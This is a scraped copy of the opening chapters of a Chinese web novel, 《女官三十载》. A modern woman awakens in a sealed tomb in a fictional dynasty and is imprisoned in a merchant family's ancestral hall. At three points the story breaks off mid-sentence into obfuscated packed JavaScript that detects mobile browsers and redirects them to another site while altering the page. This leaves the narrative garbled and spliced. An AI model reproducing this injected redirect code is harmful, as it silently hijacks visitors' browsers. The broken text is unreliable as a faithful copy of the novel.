《女官三十载》 1. 月落参横(1) 今年的秋日格外的冷,灰黑色的夜幕低垂,只有冰冷的月光洒下,像是在地上凝结了一层薄薄的霜。 北风如刀子一般往衣裳里钻,像是要将人身上的肉一刀一刀剐下来。陈子荣站在宁家的祠堂门口,连连搓着胳膊,忍不住在心底埋怨起了祠堂里的那个女人。 要是没有那个女人的存在,他就不必在这样的鬼天气中受冻看守祠堂了! 几个负责看门的家仆,只有他的资历最浅,非是同其他人一样在宁家长大,而是和妹妹一起从人牙子手中买回来的,因此一有什么粗活儿累活儿,他总是被迫接受的那个。 陈子荣的妹妹、宁家的婢女小桃提着个篮子过来,小声招呼兄长,“哥,我来送饭了!” 陈子荣心中一暖,快步上前,将妹妹拉到避风的地方,“这么冷的天,你一个人过来干什么?” “这样的天气,哥还得在这里守着,又冷又饿的……放心吧,我偷偷来的,没让太太发现。”小桃说罢,从胸口拿出一个纸包,里面放着的是油饼和几块散碎的卤肉,她笑着道:“我怕凉就放在怀里了,篮子里放的是热粥,一路过来肯定不烫了,你快趁热喝了。” 陈子荣掀开篮子上罩着的布,伸手一碰,那碗已经微凉,陈子荣却毫不在意,只是撕了半个饼,和妹妹一起躲在背风处,就着几块肉狼狈地吃完了这一餐,剩下的半个饼子则留着后半夜充饥。 “你怎么有空闲来这里?太太身边不要你伺候吗?” 小桃摇摇头,“太太这些日子身上不爽利,娘家的大妗子来探病,说是带了刘姑子给的药方儿,给太太煎了一服药,陪着太太饮下后一起睡了,明天早起再走。今晚不用我们几个守夜,我才趁着这个空儿来的。正好我画了几个花样子,绣在帕子上,哥你记得交给刘婆婆,托她帮我卖了。” 陈子荣接过妹妹递来的帕子,感叹道:“先前小姐还在的时候,太太请了人教小姐画画,你在旁边跟着学,这几年越画越好了。” 小桃抿唇轻笑,多了几分小小的得意。 陈子荣将东西收好,方才问道:“太太是因为外面的风言风语才病的?” 小桃嗯了一声,“前两天还因为这事同老爷吵了一架,大老爷一向仰仗太太,不好再争什么,最近一直没到太太的房里,只在姨娘屋里歇了。” 见小桃还有些精神,陈子荣继续与妹妹闲话:“我听人说这几日来了大人物,好像是在城中找什么人?” “不是找人。哥,你刚从外地回来,不知道这些。”小桃摇摇头,道:“是陛下身边的大珰,姓褚。宫里缺人伺候,咱们和京城近一些,选出的宫人能早些入宫伺候,说是这些人都要赶在明年太后七十五岁寿辰前进宫做活儿,要心灵手巧的,若是能够读书识字,进宫后还能考取女官哩。几个姐姐们说了,要是能被选中,家里便按照女户来算,田税和劳役都能减轻,有不少人家都想着托人应试……” “咱们也用不着这个。”陈子荣有些急切,“老爷还让你们去给知府老爷送礼,你躲好了吗?没有被人瞧见吧……” “放心吧,我在太太的身边,平日里不怎么瞧着外人。” 陈子荣放下一颗心来,又忍不住嘟囔:“奇怪……没听说过宫里放人出来,怎么还时不时就选人入宫……” “谁知道呢,可能是成了陛下的妃嫔了吧……这样的荣华富贵谁不喜欢?” 陈子荣闻言心中一紧,急忙道:“妹妹……陛下登基已经四十三年了,你可千万不要胡思乱想……” 听到哥哥这么说,小桃忍不住笑了起来,语气中多了几分狡黠,“我才不去!我听姐姐们说了,宫人即便被临幸了,也不一定就能有位份,还是要继续伺候人的,有什么好……况且宫女也只选良家女子入宫,我们这样的奴仆肯定是入不了宫的。” 陈子荣欣慰于妹妹知道打探消息保护自己,又心酸她为奴为婢、寄人篱下的辛苦。 妹妹马上要到成人的年纪,但像他们这样的仆从,只有在家中同其他小厮婚配,他为奴也就算了,陈子荣不希望妹妹和妹妹的孩子将来也只能奴颜婢膝,一辈子伺候别人。 “妹妹,我攒了一些钱,等到下次外出卖缎子,我一定努力在老爷面前得脸,想办法给你赎出去,再给你准备一笔厚厚的嫁妆……” 小桃摇摇头,道:“那样我和哥都变得孤零零的,别人会可怜我们的。再说外面的人也未必好过……” 陈子荣见她如此懂事,更觉酸涩。 只恨这世道不易,他们这辈子注定是为奴为婢的命! 小桃不知道陈子荣的心思,只是凑近哥哥,有些好奇地小声问道:“哥,那位四老爷的太太……还活着吗?我听人说了,她同老爷去给四老爷合坟的时候半路要跑,结果被抓了回去……明明已经埋进了墓室几日,却又突然爬了出来,把守墓的人吓了一跳,赶紧给老爷报信,这才抓了回来,连我们都听说了……” 提到祠堂里的“四太太”,陈子荣立刻回过神,他有些没好气,“四老爷走得突然,年纪轻轻的,还没有成家立业,老爷担心兄弟在地下孤单,这才趁着在外行商的时候买了她回来给四老爷做配,为的不过是让四老爷在地底下不寂寞,她哪里算得上太太?连我们的命都不如,不然也不会……” 如果不是那几日正好没有下雨,下葬用的土又未曾压实,只怕这“四太太”早就在墓室中一命呜呼。 被守墓人抓回来的时候,原本被梳洗打扮干净的“四太太”活像个疯婆子,身上的凤冠霞帔早就已经无影无踪,蓬头垢面不说,被人抓住之后还大呼小叫地喊“救命”、“抱景”。 就是四处行商、见过世面的宁家大老爷,看到她这副模样也吓了一跳,以为她是什么沾染上了什么不干净的东西,便让人将她一顿殴打,但当时事情已经闹大,村子里有其他人家也来瞧热闹,宁家怕叫众人看见,只能将“四太太”打晕,草草带回了家。 若非这几日宫中的大珰来原城府选宫女,大太太认为不可随意杀生,生怕无意间冲撞了天使,给家中惹祸。否则白绫也好、毒药也罢,被抓回来的“四娘”本该杀了了事。 小桃不由心生怜悯,道:“好可怜啊……她的爹妈怎么忍心……” “一家都是流民,卖了虽然未必能活,但不卖迟早也是个死,有什么忍心不忍心的……”陈子荣回想起“四太太”的父母看到女儿被买下的欣喜的模样,又想到了自己和妹妹当初被卖给人牙子时的情形,低声道:“她的爹妈兴许以为她能给老爷太太做个婢女,甚至能当个妾室,是个好去处……” 又兴许他们只是为自己少了一张能吃饭的嘴而欢欣雀跃…… “四太太在哪里?祠堂里面黑漆漆的,怎么什么都看不到?” 陈子荣回过神,只见妹妹已经贴在祠堂的门板上,通过窄窄的门缝好奇地向内张望。 他急忙把妹妹拉到一边,训斥道:“她是从墓室里面爬出来的,是个不祥之人,不然老爷也不会把她关在祠堂里,就是指望宁家的先祖能够压着她!” 说到这里,陈子荣还不放心,又叮嘱道:“‘四太太’这个称呼以后可不能乱叫,老爷因为她的事情气得厉害,是要将她……要是传到老爷太太的耳朵里,一定会惹出麻烦的。” 小桃瞧见哥哥在脖颈处划了一道,轻轻地哦了一声,她还没有再追问什么,只是不由地同情起了里面那个不知生死的女子。 忽听里面嘭的一声,兄妹二人都因为这突如其来的响动而沉默。 小桃年纪尚小,只是被这个声音吓了一跳,而陈子荣跟着老爷行商,听说过许多鬼神相关的怪诞之事,心里因为这一声响动直发怵,他立刻挡在妹妹身前,催促道:“你快回去!” “等一下。” 陈子荣以为妹妹还在好奇“四太太”,训斥道:“等什么等,快走!” 小桃吓了一跳,惊魂不定,只是小声道:“我没说话……” “你没说,你没说话!那是谁……” 陈子荣的声音戛然而止,他立刻意识到,祠堂附近如今只有他、小桃和“四太太”三个人,“四太太”自从被带回来就没有说过话,此时此刻说话的人若不是他们兄妹两个,那就只有一个可能了。 北风呼呼地吹,穿过宁家祠堂的雕梁画栋,声音像是寒夜里撕打的野猫在惨叫,叫人寒毛直竖。 这次小桃的声音多了一份颤抖,她结结巴巴地开口:“哥,我腿软,走不动道……” 陈子荣上下牙齿直打颤,但还是装作无所畏惧的模样,道:“有哥在,怕什么?”他铆足了胆子,走上前去,试图从那一条门缝中看清祠堂里面的情况。 蓦地,一个人影贴在了门缝上,一缕月光落在了门缝内,照出一只直勾勾盯着他们的眼睛,眼珠黑洞洞的,让人一阵心慌。 陈子荣只觉得裤子都要湿了,还没开口说话,门缝里递出一支金钗,随后有人嘶哑着开口道:“水,我要喝水。” 看守祠堂的人都知道她是从墓室里面生爬出来的,又听主人宁老爷说她身上有邪祟,谁知道这金钗是不是脏东西,陈子荣当然不敢接。 “四太太”似乎已经猜出了他的想法,她咳嗽了几声,喘息着说道:“我刚才听你说你妹妹要及笄了,正是缺钱的时候,这支金钗值钱,是喜鹊闹春的样式,能卖个好价钱……要是害怕被人发现,拿去融了也好,以后也能做她的家底……我什么都不要,我只要水。” 陈子荣听她的意思,似乎已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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活埋无疑是杀人,这样的事情是触犯大昭律法的,即便“四娘”是宁家的奴婢,主使也要受一百杖的惩罚,更不用说“四娘”并非宁家奴婢。 宁家行商这些年有不少对家,知府还想借此机会拿些“平安钱”,这些人肯定会借着大珰来原城的机会敲诈宁老爷。 这几日宁家的仆从都被勒令闭门不出,宁老爷也停了手头的生意,接二连三地向知府那里送东西、探消息,可见知道“宁家买人活殉”这件事的人不在少数。即便这件事揭过去了,宁家也要夹紧尾巴做人,免得又被人拿捏了错处。 这些大人物们受些罪、少些钱无足轻重,可他们这些寻常人的命运却经不起一点曲折坎坷…… 陈子荣的肩膀有些无力地垂下来,他对小桃道:“妹妹,去拿点水回来吧。” 小桃还有些懵懵懂懂,应了一声便快步离开。 陈子荣将手中的金钗收在怀里,心里开始琢磨着之后自己之后想个办法托人将钗融了,如此一来,东西便算是名正言顺地入手了。 小桃很快便带着一碗水返了回来,她年纪还小,想什么事情都很简单,不管“四太太”是不是邪祟,她总觉得被关在祠堂里面实在是太凄惨了一些。 奈何门缝实在是太窄,碗自然是递不进去的,祠堂的钥匙也不在陈子荣的手中,这一碗水无论如何也送不进去。 “四太太”勉强从门缝里伸出手,道:“倒在我的手心里,能喝一点是一点……” “好。” 小桃蹲下,将碗中的水一点一点倒进了她的掌心,这次小桃终于借着这段月光看清了“四太太”的脸。 那张脸上有血有土,还黏着乱糟糟的发丝,唯独露出的那一只眼睛,好似金瓯盛着月光,明亮温和。 “四太太”抽回手,冰冷的水已经洒了大半,她努力支撑着身体,珍惜地舔舐着掌心的凉水。 一次又一次,她终于将那一碗水全部喝完,尽管她几乎没有喝到多少,但她的眼神中还是透露出了一份餍足。 她借着那道门缝望向高处,视线穿过屋檐围墙圈出的狭窄空间,看向夜空和那一轮明月,她喃喃道:“终于……有光了……” 不知道为什么,小桃的眼眶忽然酸了起来。 她这样让小桃想起了娘送他们兄妹两个进宁家的眼神。 “四太太……” 听到这个称呼,她皱了皱鼻子,道:“我叫冯昀。” 她的咽喉被水滋润,声音听起来温柔许多,更让小桃想起了儿时被母亲抱在怀中所听到的呢喃声。 小桃小心翼翼地问道:“那……冯姑娘,你该不会是要死了吧……” 冯昀先是一愣,不由垂首叹了一口气,随后她又抬头看向小桃,露出一个笑容,“我才刚刚活过来,怎么会死呢?” 这一年,是祐宁四十二年,也是冯昀来到历史上记载的昭朝的第一年。 2. 月落参横(2) 冯昀虽然已经喝足了水,但仍旧不愿意离开门缝,只是躺在那一道月光里,怔怔地望着老旧的房梁,一边搓着被打得淤青的手臂,一边开始试图理清自己的思绪。 作为一个现代牛马,冯昀一向有着熬夜的“好习惯”,可冯昀怎么也不会想到,没有车祸、没有癌症,大白天抓紧机会补觉的她竟然也会穿越,而且是出现在一个漆黑的疑似地堡的地方。 一觉醒来的冯昀自然是一脑门官司,先是试图找到一条可以出去的道路,直到有些呼吸困难,她才意识到事情的严重性。 她所处的空间是封死的…… 冯昀不愿意多想,只是开始努力在黑暗之中探索,好在周围的土并未夯实,冯昀立刻从周围找了各种工具,在地下上演真人版黄金矿工。 只不过别人是向下挖,冯昀是向上刨。 好在冯昀运气不错,不知道过了多久,终于重见天日。 唯一的问题是冯昀低头一看,才发现自己用来刨土的工具是一把剑,再回头一看,这竟然是一座墓,土坑内还放着不少金银首饰,可见这座墓的主人身份不凡、家财丰厚。 想到自己过去曾经看过的各种小说和历史记载,冯昀立刻意识到自己可能是成为了“陪葬品”。 冯昀的第一反应是阿弥陀佛,第二反应是自己必须赶紧拿点东西跑路,直觉告诉她此地不宜久留。 只是冯昀刚刚拿起金钗,便从样式判断出这座墓很有可能是昭朝中期的坟墓,一时间分不清这一切究竟是现实还是幻梦。 冯昀就职的工作室拍摄的是各种古代复原的视频,她负责的是幕后的搜集资料的工作,会拍摄一些名为“穿越之旅”的科普视频,加之冯昀本人对昭朝也曾有过浓厚的兴趣,才会这么快做出判断。 当然,如果可以,冯昀希望这一切只是“沉浸式体验”。 可惜当地的守墓人很快就身体力行的告诉冯昀,这一切都是真的——她被人家当成了诈尸复活的女鬼,一顿好打,冯昀料想如果不是自己的动静闹得足够大,引来不少人围观,守墓人担心事情闹大,只怕冯昀要被人当场打死,重新埋回墓里。 之后她就被捆了关起来,再然后便被宁家的人抓回了宗祠。 还好冯昀手快,将金钗藏在了身上,才能换来这一口解渴的清水。 一睁眼后就经历了殉葬古墓、掘墓求生、被人抓捕、关入祠堂等一系列正常小说都不会写的剧情,此时此刻的冯昀不得不感慨,还会有比这更糟糕的穿越吗? 这哪里是穿越小说,这分明是荒野求生! 冯昀越回忆越难受,搓胳膊的力气也越大,触及先前被宁家仆人们打出来的伤口,不由倒吸了一口凉气,却也让她逐渐冷静下来。 她已经因为殴打和伤痛浑浑噩噩地休息了这么长的时间,实在是不能继续耽搁,冯昀得想办法尽快搞清楚如今的局面,最重要的是活着走出宁家的祠堂。 想到此处,冯昀努力从自己的脑海中找出一个合适的称呼,有些艰难地开口:“这位……哥儿,看在那金子的面儿上,你同我说说话吧……” 陈子荣仍旧沉默不语。 冯昀绞尽脑汁,没话找话:“待到你们换班了,我又要躲在里面……不知道什么什么就悄悄没了……” 陈子荣想到她刚才的神情,哪里是什么女鬼,那分明是想要求生的目光,如此一来,他也无法继续装作没有听见,只是低声道:“四……冯姑娘,你这几日还是乖乖听话吧,至少在宁家能做个饱死鬼。” 冯昀差点被这小子气死,胸口堵着一口气上不去下不来,许久之后才问道:“宁家……是什么?” 她刚才听到这兄妹两个的对话,“四太太”似乎是宁家家主从流民手中买来活殉的女子,出身低微,不知道宁家的名声也是很正常。 更重要的是冯昀本人也对如今的具体情况不甚了解,需要抓紧机会弄清楚她如今的处境。 “原城宁家,是河洛府有名的商人,河洛好几个县都有铺子,几十家呢。” 冯昀立刻有了些印象,重农抑商是历朝历代的重点,但一到中后期便很难打压商人,昭朝商人自然也不例外,有钱后更是可以为自己捐一个武官的官位,官商勾结愈发便利。 原城宁家虽然不是昭朝首富,但后世也有些名声——主要是在宁家墓葬开采不在少数,成为研究当时民风民俗的重要史料。 根据一些墓志铭和地方县志推测,宁家自昭朝后期崛起,一直昌盛至昭朝末年,经手丝绸、宝石、银饰等不在少数,打造的首饰颇有名声,引领过民间风潮,甚至曾专供皇家,可谓名噪一时。 若没有战乱,料想宁家还能兴盛许久。 只是冯昀拿不准如今的时间,却又不敢随意询问现在是什么时候,生怕被人当成女鬼再打一顿,只能暗自揣测。 “刚才……你们说大珰来原城选宫人……” 提及此事,陈子荣有几分闷闷不乐,声音低沉几分,“河洛女子皮子白,圣上喜欢。” 冯昀回忆一番,自己以前在论坛里看历史版块,昭朝的审美便是皮肤白皙的女子,仅凭这一个线索不能断定到底是哪个皇帝。 不过冯昀心中可以确定一件事情,自己“复活”的事情给宁家带来了很强的负面效应,待到皇家的人离开,宁家肯定不会放过她。 唯一有些麻烦的是冯昀如今连祠堂都出不去,更不用说离开宁家了。 想到此处,冯昀忽然冒出一个主意,心里迅速过了一圈,这才开口: “哥儿,方才我同你说的话,你别放在心上……” 她不说还好,甫一开口,陈子荣又想起冯昀刚才说他们这些知道“四太太”死而复生的事情的人会被宁老爷当做弃子打发,沉默着别过了头。 冯昀见他还没忘,心底松了一口气,立刻道:“哥儿,我有个法子,既能救我的命,又能救哥儿的前途,在老爷和夫人面前得脸,说不准就解了所有人的围。”她见陈子荣不说话,心中有些焦急,但还是哀婉恳求道:“哥儿就帮帮我吧,大不了我就是一死,绝不牵连你们,总比我们都因为这糟心事受了牵连要强啊。” 陈子荣抬手捂着耳朵,想要将她的声音阻挡在外,但心底始终明白冯昀所说确实有些道理。 他和妹妹好不容易活到今日,他不甘心因为一个“四太太”就此沦为宁家的平庸小厮,与妹妹做永远的人下人。 “你就算不为自己着想,也该为你妹妹……对,为小桃姑娘着想……” 陈子荣忍不住大声道:“我妹妹不叫什么小桃!” 冯昀微微一愣,想到他们是被买来的仆人,一时间不敢说别的,只怯怯道:“对不起……” 陈子荣心知她什么都不清楚,沉默许久之后他终于开口:“你有什么法子?” 冯昀意识到自己迎来了转机,下意识地抠紧了地砖,身体紧绷成了一根弦,“这法子简单……” 她的话还没说完,不远处传来一个小厮的声音: “子荣,你一个人对着门干什么呢?” 陈子荣因为一时紧张而涨红了面皮,大声道:“叫我做什么!” “换人了,你进去吃吧,他们都醉了,一会儿大爷身边的来吉要过来瞧,我替你。” 陈子荣不由暗骂:“贼囚根子,刚才不叫我进去喝酒吃肉,老爷身边的来吉过来就把我换进去,自己在这里装模作样!” 被关在祠堂里的冯昀比陈子荣还要着急,眼看着人越来越近,冯昀顾不得手疼,硬生生挤过门缝,拉着陈子荣的裤腿,颤着声音重复道:“别走……别走……” 这次是遇上心软的兄妹两个,若是不抓紧时机,只怕就再也没有机会了! 陈子荣还没有开口,走近的小厮却是被陈子荣裤腿上的一只手吓了一跳,惨叫一声“有鬼”,竟然直挺挺晕了过去。 这下不论是陈子荣还是冯昀,都愣在了原地,一时间不知道该作何反应。 还是陈子荣最先回过神,快步上前查看他的脸色,见他倒在雪地里,面色惨白,急忙将那人拖了回去,边拖边骂:“汗邪货!一只手就把你吓得丢了三魂七魄,是老天瞧不下去你们欺负我,该让老爷看看你们这些偷懒犯浑的贱狗才!” 已是全然忘记自己刚才被冯昀吓得差点尿裤子。 冯昀见远处有灯笼的微光,急忙将手抽了回去,只是身子疼得厉害,只能就地一滚,蜷缩在祠堂的门后,一动不动。 屋内的几人早已经因为喝酒昏睡,个个都是醉眼乜斜,陈子荣随便踹了一脚,见他们都没有醒,便放下人匆匆回去。 陈子荣站在祠堂门口,又拍了拍身上的尘土,对着里面小声道:“冯姑娘,你不要说话。” 祠堂里面静悄悄的,没有任何声音,仿佛刚才发生的一切都只是陈子荣的幻觉罢了。 说话间,来吉已经过来,身边还跟着一个帮忙提灯的小厮。 同是下人,来吉身上虽不是穿金戴玉,但也是上好的布料,穿得严严实实。再看他红光满面,便知道也是刚刚吃了酒出来,料想是宁老爷在太太房里吃酒,他也在旁边跟着沾光。 “怎么就你一个人?” 陈子荣心中虽然常骂这群混账,但面上还是和和气气的,“这几天实在是太冷了,哥儿几个进去喝酒暖暖身子,我在外面替他们守着。” 来吉岂能听不出陈子荣是在为偷懒的几个人说话,先是冷哼了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030713|194546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,随后才问道:“那个丧门星在里面怎么样?” 不少人都知道一个疯婆子从宁家四老爷的墓里爬了出来,故而外面都传言宁家是买了个女子活殉,给已故的四老爷配阴婚。因着外面流传这“谣言”极广,宁家反而格外警惕,家中不许随意提及她,只是仆人们对此都心知肚明,私下还是习惯喊这个可怜的女子“四太太”,也就只有主人身边的仆人才会喊她“丧门星”。 这将会是这个女人的最终命运——再次活殉。 又或是更加可怜的下场,被老爷迁怒,死无全尸。 陈子荣连忙回话:“前两天还会闹腾,今天已经安安静静的,料想是没力气了。” “没死就好,太太吩咐了,说是别让她这会子死在家里,叫你们领饭的时候给她也带一份,也不用备什么好酒好菜,不要饿死她。”来吉叹了一口气,似乎颇有些无奈,道:“如今这件事闹大了,外面传得风言风语、不成样子,可不能再让她出什么乱子了,她要是真死了,只怕哪些早就看不惯咱们家的人都要拿这件事作筏子,借机踩咱们家一脚。这些时候家中可是大出血了……” 陈子荣连声应了下来,心里感慨还好冯昀为了换水将金钗给了他,若是她留着,万一哪天想不开自戕,到时候反而是他们的罪过。 对面的来吉忽然皱了皱鼻子,问道:“这是什么味儿?” 陈子荣忽然想起妹妹刚才送来的饭食,连忙道:“小的刚刚把人送进那边房里,许是沾上他们的酒菜味儿,哥哥宽恕则个,好歹别罚他们,不然小的也难做。” 来吉蹙着眉头,不快地说道:“正经当差吃什么酒菜?不中用的狗才,要是再让这个疯婆子跑出来,大家都吃不了兜着走!” 思忖片刻,来吉吩咐道:“我给你换几个人过来,以后就听你的差遣,好好看紧了她,不许再闹出大动静来!否则唯你是问!”说罢又凑近陈子荣耳畔,低声道:“老爷同夏指挥说好了,只要将审问糊弄过去,等褚大珰走了,老爷就将她……事情解决了,老爷一高兴,有你的好处!” 陈子荣见他比了个手势,便明白“四太太”的死期就在天子使者走后,不由闭紧了嘴,不敢多发出一点声音,暗自感慨老爷的狠辣。 来吉不知道陈子荣的心思,只是塞给他二钱银子,“灶上要是有说道,你就给几个钱,让她有点吃喝,剩下的你自己处置。” 陈子荣连连应声,点头哈腰地将来吉送出了院子,这才往祠堂门口走,手中掂量着那银子的重量。 这来吉能这么大方,料想太太给的银子更多,他自己怎么说也吞了一半。 躲在屋内的冯昀早已经将两人的对话听个一清二楚,自然知道陈子荣得了钱,大可以直接给她弄点馊饭糊弄过去,一直惴惴不安。如今见陈子荣回来,冯昀立刻凑上前去,反将陈子荣吓了一跳。 陈子荣拍着胸口道:“你要吓死谁!” 冯昀讪讪一笑,“我是人,又不是鬼,哥儿怕什么……” 说者无意,听者有心,陈子荣想到不久后她便要成为亡魂,又看她可怜巴巴的模样,瘦小的模样看着和今年刚刚及笄的妹妹相差不多,一时间有些心软。 他和妹妹也不过是依附着宁家过日子罢了,想到此处,陈子荣别过头,没有说话。 冯昀心中顿时凉了个彻底。 若是陈子荣也不愿意帮她,只怕之后就更不会有人来帮她了…… 这两天宁家不动她是因为宫里来了太监,只要那些太监一走,冯昀必然要“再死一次”。 回想之前这对兄妹的对话,宁家的当家太太为人似乎可靠一些,也能在家事上做主。 冯昀咬紧牙关,“哥哥,我是将死之人,吃得好不好不重要,求你看在那金钗的份儿上,帮我弄一套纸笔来,我画些东西,哥哥看过之后再考虑要不要帮我。我有法子,可以解决宁家的麻烦,还可以帮你们兄妹脱籍,只是要先见到太太才行。” 交代完自己的计划,冯昀将祠堂里不用的几个蒲团铺成一张床榻,这才安心躺下,再一次将自己穿越以来的所有事情理了一遍,自觉已经做到了当时所能做到的最佳,终于忍不住在心底长叹一声。 今天是她到宁家的第三日,至于来到昭朝……冯昀被宁家的人狠狠打了一顿,一路上没有断气已经不错,一个又饿又渴、昏昏沉沉的人,哪有什么心思在意时间。 只是冯昀连自己如今具体身处昭朝中后期的具体哪个时期都摸不清楚。 嘉祥、祐宁、庆和、延平、兴德……想要迅速判断昭朝这五个时期,有一个最简单的方式,那就是说出一个人的名字。 奈何冯昀实在是没有力气,来不及想太多便已经陷入黑暗之中。 3. 月落参横(3) 宁家花园内,宁大爷的正房娘子李玉瓶同几个夫人太太说话,她大病初愈,穿得比众人还要厚实,里面穿着月白立领长袄,外披石青披风,发髻梳得高高,露出一张鹅蛋脸儿,一双凤眸。 因着夫弟去世的缘故,李玉瓶只簪了两支蜂蝶赶菊金簪,多加一条绛紫珍珠抹额,在秋日的阳光照耀下更添几分雍容华贵。 李玉瓶今年四十岁,是宁家的主母,除却处理家中事务,也帮着丈夫打理商铺货物,这样对家中一切手拿把掐的人物,换成是谁都心悦诚服,更遑论这些簇拥着她的太太夫人们家中都是经商的,大都需要依附着宁家过日子。 众人说着说着便提起再过些时候就要到年关,各家都遣人回庄子上烧纸等等。 李玉瓶忽地想到什么,对身边的小桃吩咐道:“明儿是四爷的头七,又快到中元节,叫人将箱子里四爷小时候的衣裳拿去送给大爷,明日一并烧了吧,到底是他小时候的物件儿,留着我看了伤心,倒不如叫他带下去拿给爹娘。” 小桃连忙应声,“是。” 旁边的太太们听李玉瓶提及宁四爷,怕她伤心,便纷纷安慰起来。 李玉瓶拿帕子沾了沾眼角,“我嫁过来的时候这孩子还未出生,之后更是跟着我的儿子一起长大的,虽是弟弟,但我心中把他同儿子一般看待,不曾想他年纪轻轻就没了……” “四爷最擅丹青,是跟着咱们原城的那位有名的方先生学过的。听闻大爷买了不少画儿,都跟着送下去了,四爷泉下有灵看见了,必然感念着哥嫂的恩情,为家中积阴德哩。” 李玉瓶只哭道:“他也加冠不久,到底是个孩子,哪里用得着他为家里积阴德,只求他将来能投个好人家就够了……” 旁边的妇人关切问道:“请人算了么?” 李玉瓶收了哭腔,“已经算过了,高人说他转世投生到安平府青川县的一个吴姓百户家里,也算是不枉他哥哥给他买的那个官儿,过些时候他哥哥出门办事就能去那边看看。” “是了是了,四爷是有福气的,即便是转世投胎,也有先祖庇佑。” 众人深知这四爷没了是宁家的伤心事,如今又牵扯上了害人性命的事情,故而都不敢再提,纷纷转聊起铺子里的生意,如哪样首饰为人钟爱、哪些布匹受人喜欢。 “要说首饰,还得是太太娘家,咱们河洛府大些的人家娶亲,不都是用李家铺子的首饰吗?这都是祖上传下来的老样式,更不用说李姐姐家的手艺这些年愈发精细。” 提及娘家,李玉瓶脸上闪过一丝得色,“南面的样式也有新鲜的,只是咱们同京城更近,不流行那些花里胡哨的,样式虽然老了些,还是沉稳大气更好。” “听说灵州那边有人私下里与外国人来往,我就托人买了两对簪子,还有几个手镯戒指,那上面的剌子瞧着比咱们的还要亮,真是奇了。”说罢,妇人便将自己头上的金簪子拿下来,只见上面是一条蛇,鳞片纹路规整,盘着簪子,张嘴呲牙,吐出一条信子来。只是样式稍显简单,但正因如此,这蛇的眼睛反而更加引人注意,上面的红宝也瞧着愈亮。 旁的妇人调侃:“我还当你睡昏了头,不是重午戴什么五毒?原来是要到我们面前拿捻儿!” “就是就是,自己戴着好看,却只叫我们过过眼瘾,忒坏!” 那妇人怪叫道:“哎哟,你们想要便直说,我叫我家那口子让人再去买了送你们就是!” “真当我们缺那几个钱?回头给你送钱去,多买几个回来,叫我们都俏丽俏丽!” 李玉瓶拿着那支簪子,却是不由出神了。 这簪子样式瞧着简单,但宝石用料确实比娘家要好,她家的产业虽大,但首饰样式是那老几样,不比人家这簪子新鲜。这样的征兆仿佛也在告诫她,不论是夫家还是娘家,如今都有各自的危机。 “李姐姐喜欢这簪子?回头我叫人送一对给你。” 李玉瓶回过神,笑着递出簪子,“我这个年纪,戴这些不合适。”说罢抚了抚抹额,道:“还是老样式好看些。” 见她如此,众人都不再提首饰的事情,又转而聊起了家中孩儿的婚事等等。 待到这一群妇人各自走了,李玉瓶才叫人收拾了花园,径自回了屋内,仍旧是一副病恹恹的模样。 小桃送完衣裳回来,见她在榻上躺着,便自觉上前为李玉瓶捶腿。 李玉瓶微微抬眼,开口问道:“宗祠里面那个,还活着吗?” 小桃先是一愣,见她盯着自己,连声道:“小桃不知道……” 李玉瓶抚了抚心口,“我问了来吉,你哥哥不是看着她吗?她如何?”她见小桃不说话,横了她一眼,道:“虽是在内院之中,可你们兄妹两个是一同买进来的,难道还能一点来往都没有?别人尚且不信,你还想来骗我?” 小桃便乖乖答道:“还活着的,太太给的二钱银子也拿去给四太太打点厨房、置办饭菜……” 李玉瓶冷哼一声,“该死的东西,给五钱银子就叫他拿走三钱,平日里不知从这家中掏了多少钱财拿去顽,老四就是被这群混账小厮带着去那些烟花柳巷吃喝闝赌,害了脏病死了。也就只有他将那些玩意儿当成得力的助手,成日里也不见打骂一句的!”她心口不顺,仰靠着引枕,感叹道:“没成想死后找了个媳妇竟然也是个诈尸的,给家里招来这么些麻烦,当真是报应,报应……” 小桃见她神情间有气恼、有无奈,一时间不敢随意接话,只是道:“太太为了打理家中,这些年不知花费了多少辛苦,教导奴婢的婆婆都说过,太太自十八岁带着嫁妆嫁进门,便一直勤勤恳恳打理家业,一身才华是老爷都不能及的,咱们家中这样兴盛,有太太一半的功劳。却不想遇上这样的事情,真是白费了娘的一片苦心……” 她在太太小姐面前也说过些讨巧的玩笑话,但今日这一段却是说到了李玉瓶的心里。 当初宁家不似这般兴盛,不比李玉瓶家中做钗环首饰的生意大,李家原本想要毁约,退还聘礼,是李玉瓶不愿家中担了毁约背盟的名头,才嫁入宁家。这些年宁家内务能够这般井井有条,都是她的功劳,宁老爷也不欺瞒妻子,平日里行商的事情也都如实告知妻子,两人一同商量。 可他偏有一点不好,那便是对家人实在太好,如宁四爷这般的纨绔废物,也当个宝一样疼,比亲儿子还要爱几分,身边的小厮也是如此。 虽说宁四爷也是李玉瓶看着长大的,但他那色鬼模样,李玉瓶心中百般看不上,若是能安心在家里呆着,娶多少小老婆都不碍事,偏偏他爱去烟花地,为了女人同别人大打出手,尽给宁家丢脸。 李玉瓶原本因为他死了,暗自松了一口气,可没想到老四的身后事竟然还闹出这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小桃终于等到回音,连忙道:“是,我亲眼瞧见她画的,叫……一气呵成。” 